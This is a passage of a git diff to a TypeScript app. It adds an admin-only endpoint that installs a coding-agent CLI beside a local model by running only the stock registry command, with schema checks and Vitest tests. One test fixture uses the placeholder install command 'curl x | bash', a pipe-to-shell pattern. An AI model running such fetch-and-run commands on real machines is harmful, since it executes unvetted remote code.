/api/local-model/agent`: a coding agent of `harnesses` to install beside an + * installed model. The click that sends it is the consent to the row's `installCommand`. + */ +export interface LocalModelAgentRequest { + /** `LocalModelHarnessRow.cli` of a row whose `actions` list `install`. */ + cli: string; +} + /** The `data` of a 400 the service names: its sentence, for the window to print in its own language. */ export interface LocalModelRefusal { message: LocalModelInstallMessage; diff --git a/src/types/local-model.ts b/src/types/local-model.ts index 86333944..88eea75d 100644 --- a/src/types/local-model.ts +++ b/src/types/local-model.ts @@ -207,6 +207,15 @@ export interface LocalHarnessEntry { gated?: boolean; /** True: the first answer takes minutes, because the harness sends a very large fixed prompt. */ slowFirstTurn?: boolean; + /** + * A literal with no white space that this harness's composer draws once it takes input, and + * nothing before it does: what a script waits for before it sends the first prompt + * (`GET /api/sessions/:id/wait-output`). Only a mark that was MEASURED on a session started + * on a custom model goes here. Absent: the CLI registry's own + * `capabilities.composerReadyMark` is used when it declares one, and a harness with neither + * has no mark. + */ + readyMark?: string; } /** @@ -248,9 +257,18 @@ export interface HarnessFact { cli: string; /** The registry's display label ('OpenCode'). */ label: string; - /** The CLI's binary was found on this machine. */ + /** + * The CLI can be started on this machine: the same answer the Run menu gets. For a launcher + * that starts nothing by itself (`discovery.launcherProfile` in the CLI registry) that is its + * binary AND something for it to launch. + */ installed: boolean; - /** Not installed, but the registry has an install command for this platform that needs no administrator rights. */ + /** + * Not installed, but ONE command makes it startable: the registry has an install command for + * this platform that needs no administrator rights, and the CLI is not a launcher. A launcher + * needs a second install the command does not make (a profile, which is third-party code + * with a consent of its own), so it is never installable from here. + */ installable: boolean; /** * The literal install command the install job would run for this CLI: the STOCK @@ -259,6 +277,8 @@ export interface HarnessFact { * (`CandidateHarness.installCommand`). */ installCommand?: string; + /** The registry's `capabilities.composerReadyMark`, when the CLI declares one and it holds no white space. */ + readyMark?: string; /** Whether this CLI can be launched with that model id (its command-line pattern accepts it). */ acceptsModelId: (modelId: string) => boolean; } diff --git a/src/web/public/i18n.js b/src/web/public/i18n.js index 705f998c..d921df66 100644 --- a/src/web/public/i18n.js +++ b/src/web/public/i18n.js @@ -1628,8 +1628,8 @@ '此 Mac 目前只使用 {model}。请先在本地模型窗口中切换模型。', 'This model is not one of the checked models on this Mac.': '该模型不在此 Mac 上已检查的模型之列。', 'This model is not on this Mac.': '此 Mac 上没有这个模型。', - '{cli} is not installed on this Mac. Install this model again to choose a coding agent.': - '此 Mac 上没有安装 {cli}。请重新安装此模型,以便选择编程智能体。', + '{cli} is not installed on this Mac. Install a coding agent in the local model window first.': + '此 Mac 上没有安装 {cli}。请先在本地模型窗口中安装一个编程智能体。', '{model} could not be deleted from this Mac.': '无法从此 Mac 删除 {model}。', // What the endpoint routes answer for the record of the model on this Mac (shown as a toast). 'This endpoint belongs to the model Codeman runs on this Mac. Change or remove it in the local model window.': diff --git a/src/web/routes/local-model-routes.ts b/src/web/routes/local-model-routes.ts index f7d63a4c..8cf46ed3 100644 --- a/src/web/routes/local-model-routes.ts +++ b/src/web/routes/local-model-routes.ts @@ -12,6 +12,7 @@ * | `POST /api/local-model/runtime` | `LocalModelRuntimeRequest` | the install view; 409 | * | `DELETE /api/local-model` | `LocalModelRemoveRequest` | the install view; 409 | * | `DELETE /api/local-model/models` | `LocalModelDeleteRequest` | the install view; 400, 409, 500 | + * | `POST /api/local-model/agent` | `LocalModelAgentRequest` | the install view; 400, 409 | * * The GET is built from the hardware probe, the catalogue, the harness facts and the pure * `recommend()`, plus the `install` object of the install service @@ -55,6 +56,10 @@ * - `DELETE /api/local-model/models` takes a model NAME in its body, never a path: the schema * admits only `name:tag`, and the service deletes only a name of its own listing, through * the runtime. + * - `POST /api/local-model/agent` installs one more coding agent beside an installed model. + * Its body names a CLI id only: the service takes it only when it is a row of the view's + * `harnesses` that offers `install`, and runs the compiled stock command, never text from + * the request. It looks at no session: nothing about the model in use changes. * - Every dependency is injected (`LocalModelRouteDeps`), so a route test spawns nothing and * does not need a Mac: it passes its own hardware, harness facts and service. */ @@ -97,6 +102,7 @@ import { } from '../../local-model/install-job.js'; import { recommend } from '../../local-model/recommend.js'; import { + LocalModelAgentSchema, LocalModelDeleteSchema, LocalModelInstallSchema, LocalModelRemoveSchema, @@ -261,7 +267,7 @@ export function registerLocalModelRoutes( // The measured budget once the runtime reported it, and the runtime download that an // install would still add: what turns the estimate into the figures of the consent. const options = await service.recommendOptions(); - const install = await service.view(); + const install = await service.view({ harnessFacts }); // A row that is already a checked model on this Mac says so: choosing it is a switch. const recommendation = markLibraryCandidates( resolved.recommend(hardware, catalog, harnessFacts, options), @@ -334,4 +340,11 @@ export function registerLocalModelRoutes( const body = parseBody(LocalModelDeleteSchema, req.body); return runVerb(reply, () => resolved.service().deleteLibraryModel(body, actorOf(req))); }); + + app.post('/api/local-model/agent', async (req, reply): Promise => { + const denied = adminOnly(req, reply); + if (denied) return denied; + const body = parseBody(LocalModelAgentSchema, req.body); + return runVerb(reply, () => resolved.service().installAgent(body, actorOf(req))); + }); } diff --git a/src/web/schemas.ts b/src/web/schemas.ts index 33c2063e..4f961178 100644 --- a/src/web/schemas.ts +++ b/src/web/schemas.ts @@ -2481,14 +2481,20 @@ const localModelId = z .max(200) .regex(/^[a-z0-9][a-z0-9._-]*:[a-z0-9][a-z0-9._-]*$/, 'Invalid model id'); +/** + * A coding agent as a CLI registry id. A request-shape check only: the real gate is the + * service's own lookup of the id among the catalogue harnesses it offers right now. + */ +const localModelCli = z + .string() + .max(64) + .regex(/^[a-z0-9][a-z0-9_-]*$/, 'Invalid coding agent id'); + /** POST /api/local-model/install: the row the person chose and the size they confirmed. */ export const LocalModelInstallSchema = z .object({ modelId: localModelId, - cli: z - .string() - .max(64) - .regex(/^[a-z0-9][a-z0-9_-]*$/, 'Invalid coding agent id'), + cli: localModelCli, context: z.number().int().positive().max(MAX_DISCOVERED_CONTEXT_TOKENS), acknowledgedBytes: z.number().int().nonnegative().max(Number.MAX_SAFE_INTEGER), }) @@ -2511,6 +2517,9 @@ export const LocalModelUseSchema = z.object({ modelId: localModelId }).strict(); /** DELETE /api/local-model/models: one model of the store, by its name. Never a path. */ export const LocalModelDeleteSchema = z.object({ modelId: localModelId }).strict(); +/** POST /api/local-model/agent: one more coding agent to install beside an installed model. */ +export const LocalModelAgentSchema = z.object({ cli: localModelCli }).strict(); + /** * A shell-safe bare word, mirroring `config/cli-registry/schema.ts`'s own `shellToken` — * duplicated rather than imported, since the REAL safety boundary for anything built from diff --git a/test/local-model-catalog.test.ts b/test/local-model-catalog.test.ts index d3468f3a..7b7198b4 100644 --- a/test/local-model-catalog.test.ts +++ b/test/local-model-catalog.test.ts @@ -294,12 +294,28 @@ describe('the stock catalogue', () => { }); }); - it('lists its harnesses as data rows, one of them gated', () => { + it('lists its harnesses as data rows: four, none gated, none below the smallest context a model offers', () => { expect(STOCK_LOCAL_MODEL_CATALOG.harnesses).toEqual([ - { cli: 'opencode', minContext: 65536, rank: 3 }, - { cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true }, - { cli: 'pi', minContext: 32768, rank: 1, gated: true }, + { cli: 'opencode', minContext: 65536, rank: 4, readyMark: '┃' }, + { cli: 'claude', minContext: 65536, rank: 3, slowFirstTurn: true }, + { cli: 'pi', minContext: 65536, rank: 2 }, + { cli: 'deepseek', minContext: 65536, rank: 1 }, ]); + // No harness asks for less than a model can be offered at: nothing below 65536 was run. + const smallest = Math.min(...STOCK_LOCAL_MODEL_CATALOG.models.flatMap((model) => model.contexts)); + for (const harness of STOCK_LOCAL_MODEL_CATALOG.harnesses) { + expect(harness.minContext).toBeGreaterThanOrEqual(smallest); + } + }); + + it('a readiness mark is one literal without white space', () => { + const spaced = copy(); + spaced.harnesses[0] = { ...spaced.harnesses[0], readyMark: '/ commands' }; + expect(issuesOf(spaced)).toHaveLength(1); + expect(issuesOf(spaced)[0]).toMatch(/^harnesses\.0\.readyMark: /); + const empty = copy(); + empty.harnesses[0] = { ...empty.harnesses[0], readyMark: '' }; + expect(issuesOf(empty)[0]).toMatch(/^harnesses\.0\.readyMark: /); }); it('names the oldest macOS and its schema version', () => { @@ -534,7 +550,7 @@ describe('the schema, across rows', () => { it('refuses a harness listed twice and a repeated harness rank', () => { const twice = copy(); twice.harnesses.push({ cli: twice.harnesses[0].cli, minContext: 32768, rank: 9 }); - expect(issuesOf(twice)).toEqual(['harnesses.3.cli: a harness may be listed only once']); + expect(issuesOf(twice)).toEqual(['harnesses.4.cli: a harness may be listed only once']); const sameRank = copy(); sameRank.harnesses[1] = { ...sameRank.harnesses[1], rank: sameRank.harnesses[0].rank }; diff --git a/test/local-model-harness-facts.test.ts b/test/local-model-harness-facts.test.ts index cd38a78e..863c0e06 100644 --- a/test/local-model-harness-facts.test.ts +++ b/test/local-model-harness-facts.test.ts @@ -187,6 +187,63 @@ describe('buildHarnessFacts', () => { expect(byCli.get('omp')).toMatchObject({ installed: false, installable: false }); }); + it('a launcher is never installable: its install command leaves it with nothing to launch', async () => { + // DeepSeek Harness is the stock launcher: its command needs no administrator, and it would + // still not be startable after it (it needs a profile, which is third-party code). + const launcher = stockEntry('deepseek'); + expect(launcher.discovery.launcherProfile).toBeDefined(); + expect(installCommandNeedsAdmin(darwinCommand(launcher) as string)).toBe(false); + const command = vi.fn(darwinCommand); + const [missing] = await buildHarnessFacts(catalogWith(['deepseek']), { + probeInstalled: installedOnly(), + installCommandFor: command, + }); + expect(missing).toMatchObject({ cli: 'deepseek', installed: false, installable: false }); + expect(missing).not.toHaveProperty('installCommand'); + expect(command).not.toHaveBeenCalled(); + // Set up by the person: it is a harness like the others. + const [there] = await buildHarnessFacts(catalogWith(['deepseek']), { probeInstalled: installedOnly('deepseek') }); + expect(there).toMatchObject({ installed: true, installable: false }); + + // The rule reads the entry's data, not its id: any entry with a launcher profile, and no other. + const asLauncher = (id: string): CliEntry | undefined => { + const entry = getCli(id); + return entry + ? { ...entry, discovery: { ...entry.discovery, launcherProfile: launcher.discovery.launcherProfile } } + : entry; + }; + const [made] = await buildHarnessFacts(catalogWith(['opencode']), { + getCli: asLauncher, + probeInstalled: installedOnly(), + installCommandFor: darwinCommand, + }); + expect(made.installable).toBe(false); + }); + + it('readyMark: the registry’s composer mark, only when it is one literal without white space', async () => { + const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'deepseek']), { + probeInstalled: installedOnly(), + }); + const byCli = new Map(facts.map((f) => [f.cli, f])); + expect(byCli.get('claude')?.readyMark).toBe(stockEntry('claude').capabilities.composerReadyMark); + expect(byCli.get('deepseek')?.readyMark).toBe('❯'); + // The registry declares none for opencode: the catalogue row carries the measured one. + expect(stockEntry('opencode').capabilities.composerReadyMark).toBeUndefined(); + expect(byCli.get('opencode')).not.toHaveProperty('readyMark'); + + const spaced = (id: string): CliEntry | undefined => { + const entry = getCli(id); + return entry + ? { ...entry, capabilities: { ...entry.capabilities, composerReadyMark: '/ commands · ? help' } } + : entry; + }; + const [fact] = await buildHarnessFacts(catalogWith(['opencode']), { + getCli: spaced, + probeInstalled: installedOnly(), + }); + expect(fact).not.toHaveProperty('readyMark'); + }); + it('installable is false without an install command, for a sudo command, and for a custom entry', async () => { const command = vi.fn<(entry: CliEntry) => string | undefined>(); command.mockReturnValueOnce(undefined); diff --git a/test/local-model-install-job.test.ts b/test/local-model-install-job.test.ts index 29624c27..bcd1a404 100644 --- a/test/local-model-install-job.test.ts +++ b/test/local-model-install-job.test.ts @@ -16,6 +16,7 @@ import { describe, expect, it } from 'vitest'; import { allowedActions, buildInstallError, + buildHarnessRows, buildInstallView, buildLibraryRows, formatInstallMessage, @@ -39,6 +40,8 @@ import { LOCAL_MODEL_ERROR_NEXT, LOCAL_MODEL_INSTALL_LABELS, LOCAL_MODEL_INSTALL_STEPS, + type HarnessFact, + type LocalHarnessEntry, type LocalModelAction, type LocalModelErrorCode, type LocalModelInstallState, @@ -637,6 +640,7 @@ describe('buildInstallView', () => { }, folder: '/Users/me/.codeman/local-model', library: [], + harnesses: [], actions: ['install'], }); }); @@ -677,6 +681,7 @@ describe('buildInstallView', () => { folder: '/Users/me/.codeman/local-model', // The checked model of an earlier install: listed, with nothing to do while a job runs. library: [{ ...OTHER_ROW, actions: [] }], + harnesses: [], actions: ['cancel'], model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' }, context: 131072, @@ -793,6 +798,9 @@ describe('buildInstallView', () => { runtime: { version: '0.40.15', installed: true, downloadBytes: 0, downloadGb: '0.0', unpackedGb: '0.6' }, folder: '/Users/me/.codeman/local-model', library: [ENTRY_ROW, OTHER_ROW], + // The live facts name no coding agents here (unknown): none is listed, and a session is + // still offered. + harnesses: [], actions: ['start-session', 'stop', 'install', 'use', 'remove'], model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' }, context: 131072, @@ -1089,6 +1097,198 @@ describe('buildLibraryRows', () => { }); }); +describe('buildHarnessRows: the coding agents of the model in use', () => { + const ROWS: LocalHarnessEntry[] = [ + { cli: 'opencode', minContext: 65536, rank: 4, readyMark: '┃' }, + { cli: 'claude', minContext: 65536, rank: 3, slowFirstTurn: true }, + { cli: 'pi', minContext: 65536, rank: 2 }, + { cli: 'deepseek', minContext: 65536, rank: 1 }, + { cli: 'later', minContext: 65536, rank: 0, gated: true }, + ]; + const fact = (cli: string, label: string, extra: Partial = {}): HarnessFact => ({ + cli, + label, + installed: false, + installable: false, + acceptsModelId: () => true, + ...extra, + }); + const FACTS: HarnessFact[] = [ + fact('opencode', 'OpenCode', { installed: true }), + fact('claude', 'Claude Code', { installed: true, readyMark: 'shift+tab' }), + fact('pi', 'Pi', { installable: true, installCommand: 'npm install -g pi' }), + // A launcher without a profile: not startable, and one command does not make it so. + fact('deepseek', 'DeepSeek', { readyMark: '❯' }), + fact('later', 'Later', { installed: true }), + ]; + const rows = ( + state: LocalModelStateFile = SAMPLE.installed, + facts: readonly HarnessFact[] = FACTS, + memory: Parameters[3] = {} + ) => buildHarnessRows(state, { harnesses: ROWS }, facts, memory); + + it('lists every harness that is not gated, the default first, then by rank, each with how it stands', () => { + expect(rows()).toEqual([ + { cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'ready', readyMark: '┃', actions: [] }, + { + cli: 'claude', + cliLabel: 'Claude Code', + default: false, + status: 'ready', + slowFirstTurn: true, + // No mark on the catalogue row: the CLI registry's own stands. + readyMark: 'shift+tab', + actions: [], + }, + { + cli: 'pi', + cliLabel: 'Pi', + default: false, + status: 'installable', + installCommand: 'npm install -g pi', + actions: ['install'], + }, + { cli: 'deepseek', cliLabel: 'DeepSeek', default: false, status: 'setup-needed', readyMark: '❯', actions: [] }, + ]); + }); + + it('is empty in every state but installed', () => { + for (const state of ['idle', 'installing', 'paused', 'failed'] as const) { + expect(rows(SAMPLE[state])).toEqual([]); + } + }); + + it('leaves out a harness without a fact, one the model is too small for, and one that refuses its name', () => { + const small: LocalModelStateFile = { ...SAMPLE.installed, model: { ...MODEL, context: 32768 } }; + expect(rows(small)).toEqual([]); + expect(rows(SAMPLE.installed, FACTS.slice(0, 1)).map((row) => row.cli)).toEqual(['opencode']); + const picky = FACTS.map((entry) => (entry.cli === 'claude' ? { ...entry, acceptsModelId: () => false } : entry)); + expect(rows(SAMPLE.installed, picky).map((row) => row.cli)).toEqual(['opencode', 'pi', 'deepseek']); + const throwing = FACTS.map((entry) => + entry.cli === 'claude' + ? { + ...entry, + acceptsModelId: () => { + throw new Error('bad recipe'); + }, + } + : entry + ); + expect(rows(SAMPLE.installed, throwing).map((row) => row.cli)).toEqual(['opencode', 'pi', 'deepseek']); + }); + + it('the default is the agent of the installation while it can be started, else the first that can', () => { + const withClaude: LocalModelStateFile = { ...SAMPLE.installed, cli: { id: 'claude', label: 'Claude Code' } }; + expect(rows(withClaude).map((row) => [row.cli, row.default])).toEqual([ + ['claude', true], + ['opencode', false], + ['pi', false], + ['deepseek', false], + ]); + // The agent of the installation was uninstalled: a client that names none starts another. + const gone = FACTS.map((entry) => + entry.cli === 'opencode' + ? fact('opencode', 'OpenCode', { installable: true, installCommand: 'curl x | bash' }) + : entry + ); + expect(rows(SAMPLE.installed, gone).map((row) => [row.cli, row.default, row.status])).toEqual([ + ['claude', true, 'ready'], + ['opencode', false, 'installable'], + ['pi', false, 'installable'], + ['deepseek', false, 'setup-needed'], + ]); + // Nothing can be started: the default stays the agent of the installation. + const none = FACTS.map((entry) => fact(entry.cli, entry.label, { installable: true, installCommand: 'x' })); + expect(rows(SAMPLE.installed, none).find((row) => row.default)?.cli).toBe('opencode'); + }); + + it('while one installer runs: that row says installing with its command, and no other row offers an install', () => { + const both = FACTS.map((entry) => + entry.cli === 'deepseek' ? fact('deepseek', 'DeepSeek', { installable: true, installCommand: 'y' }) : entry + ); + const during = rows(SAMPLE.installed, both, { running: 'pi' }); + expect(during.find((row) => row.cli === 'pi')).toMatchObject({ + status: 'installing', + installCommand: 'npm install -g pi', + actions: [], + }); + expect(during.find((row) => row.cli === 'deepseek')).toMatchObject({ status: 'installable', actions: [] }); + // The installer has landed and the memory has not caught up: the fact wins. + const landed = both.map((entry) => (entry.cli === 'pi' ? fact('pi', 'Pi', { installed: true }) : entry)); + expect(rows(SAMPLE.installed, landed, { running: 'pi' }).find((row) => row.cli === 'pi')).toMatchObject({ + status: 'ready', + }); + }); + + it("a failed install stays on its row with the installer's last words, until the agent is there", () => { + const failed = { failed: { pi: { detail: 'npm ERR! network' } } }; + expect(rows(SAMPLE.installed, FACTS, failed).find((row) => row.cli === 'pi')).toMatchObject({ + status: 'installable', + actions: ['install'], + error: { + message: { text: LOCAL_MODEL_INSTALL_LABELS.errHarnessFailed, vars: { cli: 'Pi' } }, + detail: 'npm ERR! network', + }, + }); + const there = FACTS.map((entry) => (entry.cli === 'pi' ? fact('pi', 'Pi', { installed: true }) : entry)); + expect(rows(SAMPLE.installed, there, failed).find((row) => row.cli === 'pi')).not.toHaveProperty('error'); + }); + + it('the view: an agent that can be started offers a session exactly when the model does', () => { + const harnesses = rows(); + const up = buildInstallView(SAMPLE.installed, { ...LIVE, running: true, digest: 'same', harnesses }); + expect(up.harnesses.map((row) => [row.cli, row.actions])).toEqual([ + ['opencode', ['start-session']], + ['claude', ['start-session']], + ['pi', ['install']], + ['deepseek', []], + ]); + expect(up.actions).toContain('install-agent'); + expect(up.actions).toContain('start-session'); + // A stopped runtime: nothing is started, an agent can still be installed. + const down = buildInstallView(SAMPLE.installed, { ...LIVE, running: false, harnesses }); + expect(down.harnesses.map((row) => row.actions)).toEqual([[], [], ['install'], []]); + expect(down.actions).not.toContain('start-session'); + expect(down.actions).toContain('install-agent'); + // The live facts are not changed by the view. + expect(harnesses[0].actions).toEqual([]); + }); + + it('the view: with no agent that can be started no session is offered, and `cli` names the default row', () => { + const none = FACTS.map((entry) => fact(entry.cli, entry.label, { installable: true, installCommand: 'x' })); + const view = buildInstallView(SAMPLE.installed, { + ...LIVE, + running: true, + digest: 'same', + harnesses: rows(SAMPLE.installed, none), + }); + expect(view.actions).not.toContain('start-session'); + expect(view.actions).toContain('install-agent'); + expect(view.cli).toBe('opencode'); + + const gone = FACTS.map((entry) => + entry.cli === 'opencode' ? fact('opencode', 'OpenCode', { installable: true, installCommand: 'x' }) : entry + ); + const other = buildInstallView(SAMPLE.installed, { + ...LIVE, + running: true, + digest: 'same', + harnesses: rows(SAMPLE.installed, gone), + }); + // What an older client reads as "the agent to start": one that is there. + expect([other.cli, other.cliLabel]).toEqual(['claude', 'Claude Code']); + expect(other.actions).toContain('start-session'); + }); + + it('install-agent is an action of the installed state only', () => { + for (const state of Object.keys(INSTALL_STATE_TABLE) as LocalModelInstallState[]) { + expect(INSTALL_STATE_TABLE[state].actions.includes('install-agent')).toBe(state === 'installed'); + } + // Listed only while a row offers it. + expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true })).not.toContain('install-agent'); + }); +}); + describe('markLibraryCandidates', () => { const candidate = (modelId: string, context: number) => ({ modelId, context }) as Recommendation['alternatives'][0]; const view = buildInstallView(SAMPLE.installed, { ...LIVE, running: true }); diff --git a/test/local-model-install-service.test.ts b/test/local-model-install-service.test.ts index 08ab420f..39ce55dc 100644 --- a/test/local-model-install-service.test.ts +++ b/test/local-model-install-service.test.ts @@ -253,7 +253,9 @@ function setup( ) { const store = memoryStore(options.state); const world = { - agentInstalled: options.agentInstalled ?? false, + // A model that is installed was installed with its coding agent: what the world holds + // then, unless the test says the agent has gone since. + agentInstalled: options.agentInstalled ?? options.state?.state === 'installed', runtimeOnDisk: options.runtimeOnDisk ?? false, clock: 1_000_000, startResult: undefined as RuntimeStartResult | undefined, @@ -294,7 +296,22 @@ function setup( const deps = { readHardware: vi.fn(async () => MAC), getCatalog: vi.fn(() => CATALOG), - buildHarnessFacts: vi.fn(async () => FACTS), + // The facts follow the world, like the real probe: an agent that is on this Mac is not + // offered for install, and one that is missing is. + buildHarnessFacts: vi.fn( + async (): Promise => + FACTS.map((fact) => + world.agentInstalled + ? { + cli: fact.cli, + label: fact.label, + installed: true, + installable: false, + acceptsModelId: fact.acceptsModelId, + } + : fact + ) + ), recommend: vi.fn(() => recommendation(world.agentInstalled)), modelFitsBudget: vi.fn(() => true), isRuntimeInstalled: vi.fn(async () => world.runtimeOnDisk), @@ -1771,6 +1788,7 @@ describe('Remove', () => { library: [], // Measured again after the Remove: the store is empty here. store: { bytes: 0, gb: '0.0' }, + harnesses: [], actions: ['install'], }); expect(h.store.get()).toMatchObject({ schema: 1, state: 'idle' }); @@ -3035,6 +3053,23 @@ describe('use: the switch to a checked model', () => { expect(withoutPi.store.get().cli).toEqual({ id: 'opencode', label: 'OpenCode' }); }); + it('with neither of the two installed it takes another agent the model can be run with that is on this Mac', async () => { + const h = setup({ state: TWO_MODELS, runtimeOnDisk: true, agentInstalled: false }); + // OpenCode has gone; Claude Code, the catalogue's other harness, is there. + h.deps.buildHarnessFacts.mockImplementation(async () => [ + FACTS[0], + { cli: 'claude', label: 'Claude Code', installed: true, installable: false, acceptsModelId: () => true }, + ]); + await h.service.boot(); + expect((await h.service.use({ modelId: GPT.id }, ADMIN)).ok).toBe(true); + await h.service.idle(); + expect(h.store.get()).toMatchObject({ + state: 'installed', + model: { id: GPT.id }, + cli: { id: 'claude', label: 'Claude Code' }, + }); + }); + it('with no coding agent of the two installed it is refused, in one sentence, and nothing starts', async () => { const h = setup({ state: TWO_MODELS, runtimeOnDisk: true, agentInstalled: false }); await h.service.boot(); @@ -3100,6 +3135,206 @@ describe('use: the switch to a checked model', () => { }); }); +describe('installAgent: one more coding agent beside an installed model', () => { + /** An installed, running model whose coding agent is not on this Mac. */ + async function withoutAgent() { + const h = setup({ state: INSTALLED, runtimeOnDisk: true, agentInstalled: false }); + await h.service.boot(); + return h; + } + + it('the view offers it: the agent with its literal command, no session, and the state untouched', async () => { + const h = await withoutAgent(); + const view = await h.service.view(); + expect(view.state).toBe('installed'); + expect(view.harnesses).toEqual([ + { + cli: 'opencode', + cliLabel: 'OpenCode', + default: true, + status: 'installable', + installCommand: INSTALL_COMMAND, + actions: ['install'], + }, + ]); + expect(view.actions).toContain('install-agent'); + // Nothing can be started, so no session is offered: the window says "Install OpenCode". + expect(view.actions).not.toContain('start-session'); + }); + + it('answers once the installer is started, runs the stock command in the shared slot, and ends on an agent that can be started', async () => { + const h = await withoutAgent(); + let finish: () => void = () => {}; + h.deps.runInstallCommand.mockImplementation( + () => + new Promise((resolve) => { + finish = () => { + h.world.agentInstalled = true; + resolve({ code: 0, output: 'opencode installed\n', timedOut: false, aborted: false }); + }; + }) + ); + const before = structuredClone(h.store.get()); + + const started = await h.service.installAgent({ cli: 'opencode' }, ADMIN); + expect(started.ok).toBe(true); + if (!started.ok) throw new Error('unreachable'); + // While it runs: the row says so, nothing else is offered for it, and the model is as it was. + expect(started.view.state).toBe('installed'); + expect(started.view.harnesses[0]).toMatchObject({ + status: 'installing', + installCommand: INSTALL_COMMAND, + actions: [], + }); + expect(started.view.actions).not.toContain('install-agent'); + await vi.waitFor(() => expect(h.deps.runInstallCommand).toHaveBeenCalledTimes(1)); + const [command, options] = h.deps.runInstallCommand.mock.calls[0] as unknown as [string, { signal: AbortSignal }]; + expect(command).toBe(INSTALL_COMMAND); + expect(options.signal).toBeInstanceOf(AbortSignal); + expect(h.deps.tryBeginCliInstall).toHaveBeenCalledWith('opencode'); + // Not a job: a session on the model is still not refused. + expect(await h.service.launchRefusal('local-ollama')).toBeUndefined(); + + finish(); + await h.service.idle(); + const view = await h.service.view(); + expect(view.harnesses).toEqual([ + { cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'ready', actions: ['start-session'] }, + ]); + expect(view.actions).toContain('start-session'); + expect(h.calls).toContain('release'); + expect(h.deps.audit).toHaveBeenCalledWith( + expect.objectContaining({ + admin: ADMIN.username, + action: 'cli_install', + target: 'opencode', + detail: expect.objectContaining({ command: INSTALL_COMMAND, exitCode: 0, via: 'local-model' }), + }) + ); + // The state file never heard of it (the pid and the time of a write aside, nothing moved). + expect(h.store.get()).toEqual(before); + }); + + it('an installer that fails leaves the model installed and usable, and its last words on the row', async () => { + const h = await withoutAgent(); + h.deps.runInstallCommand.mockResolvedValue({ + code: 1, + output: 'npm ERR! network request failed', + timedOut: false, + aborted: false, + }); + expect((await h.service.installAgent({ cli: 'opencode' }, ADMIN)).ok).toBe(true); + await h.service.idle(); + const view = await h.service.view(); + expect(view.state).toBe('installed'); + expect(view).not.toHaveProperty('error'); + expect(view.harnesses[0]).toMatchObject({ + status: 'installable', + actions: ['install'], + error: { + message: { text: LOCAL_MODEL_INSTALL_LABELS.errHarnessFailed, vars: { cli: 'OpenCode' } }, + detail: 'npm ERR! network request failed', + }, + }); + expect(h.store.get().state).toBe('installed'); + expect(await h.service.launchRefusal('local-ollama')).toBeUndefined(); + + // Try again: the old failure is gone the moment the new attempt starts, and it can work. + h.deps.runInstallCommand.mockImplementation(async () => { + h.world.agentInstalled = true; + return { code: 0, output: '', timedOut: false, aborted: false }; + }); + const again = await h.service.installAgent({ cli: 'opencode' }, ADMIN); + if (!again.ok) throw new Error('unreachable'); + expect(again.view.harnesses[0]).not.toHaveProperty('error'); + await h.service.idle(); + expect((await h.service.view()).harnesses[0]).toMatchObject({ status: 'ready' }); + }); + + it('one installer at a time: a second request while one runs is 409 job-running', async () => { + const h = await withoutAgent(); + let finish: () => void = () => {}; + h.deps.runInstallCommand.mockImplementation( + () => + new Promise((resolve) => { + finish = () => resolve({ code: 1, output: 'stopped', timedOut: false, aborted: false }); + }) + ); + expect((await h.service.installAgent({ cli: 'opencode' }, ADMIN)).ok).toBe(true); + expect(await h.service.installAgent({ cli: 'opencode' }, ADMIN)).toMatchObject({ + ok: false, + status: 409, + conflict: { reason: 'job-running' }, + }); + await vi.waitFor(() => expect(h.deps.runInstallCommand).toHaveBeenCalledTimes(1)); + finish(); + await h.service.idle(); + expect(h.deps.runInstallCommand).toHaveBeenCalledTimes(1); + }); + + it('an agent that is already there answers with the view and runs nothing', async () => { + const h = setup({ state: INSTALLED, runtimeOnDisk: true }); + await h.service.boot(); + const result = await h.service.installAgent({ cli: 'opencode' }, ADMIN); + expect(result.ok).toBe(true); + expect(h.deps.runInstallCommand).not.toHaveBeenCalled(); + expect(h.deps.tryBeginCliInstall).not.toHaveBeenCalled(); + }); + + it('refuses an agent the view does not list, and one that one command does not make startable', async () => { + const h = await withoutAgent(); + // `claude` is a catalogue harness with no fact here (the registry does not offer it). + for (const cli of ['claude', 'not-a-cli']) { + expect(await h.service.installAgent({ cli }, ADMIN)).toEqual({ + ok: false, + status: 400, + message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotOffered }, + }); + } + // A launcher, or a command that needs an administrator: listed, never installed from here. + h.deps.buildHarnessFacts.mockImplementation(async () => [ + { cli: 'opencode', label: 'OpenCode', installed: false, installable: false, acceptsModelId: () => true }, + ]); + expect((await h.service.view()).harnesses[0]).toMatchObject({ status: 'setup-needed', actions: [] }); + expect(await h.service.installAgent({ cli: 'opencode' }, ADMIN)).toEqual({ + ok: false, + status: 400, + message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotInstallable, vars: { cli: 'OpenCode' } }, + }); + expect(h.deps.runInstallCommand).not.toHaveBeenCalled(); + }); + + it('is refused outside installed: 409 wrong-state', async () => { + for (const state of [undefined, jobAt('model', 'paused')]) { + const h = setup(state ? { state } : {}); + expect(await h.service.installAgent({ cli: 'opencode' }, ADMIN)).toMatchObject({ + ok: false, + status: 409, + conflict: { reason: 'wrong-state' }, + }); + expect(h.deps.runInstallCommand).not.toHaveBeenCalled(); + } + }); + + it('a server that stops ends the installer and records nothing', async () => { + const h = await withoutAgent(); + let seen: AbortSignal | undefined; + h.deps.runInstallCommand.mockImplementation((async (_command: string, options?: { signal?: AbortSignal }) => { + seen = options?.signal; + await untilAborted(options?.signal); + return { code: null, output: '', timedOut: false, aborted: true }; + }) as never); + await h.service.installAgent({ cli: 'opencode' }, ADMIN); + await vi.waitFor(() => expect(seen).toBeDefined()); + await h.service.shutdown(); + expect(seen?.aborted).toBe(true); + await h.service.idle(); + expect(h.store.get().state).toBe('installed'); + // Interrupted is not failed: the row has no error. + expect((await h.service.view()).harnesses[0]).not.toHaveProperty('error'); + }); +}); + describe('deleteLibraryModel: one model out of the store', () => { async function twoModelsRunning() { const h = setup({ state: TWO_MODELS, runtimeOnDisk: true, agentInstalled: true }); diff --git a/test/local-model-recommend.test.ts b/test/local-model-recommend.test.ts index 8114bbc4..0cadb457 100644 --- a/test/local-model-recommend.test.ts +++ b/test/local-model-recommend.test.ts @@ -150,7 +150,12 @@ function without(facts: HardwareFacts, ...fields: (keyof HardwareFacts)[]): Hard } /** 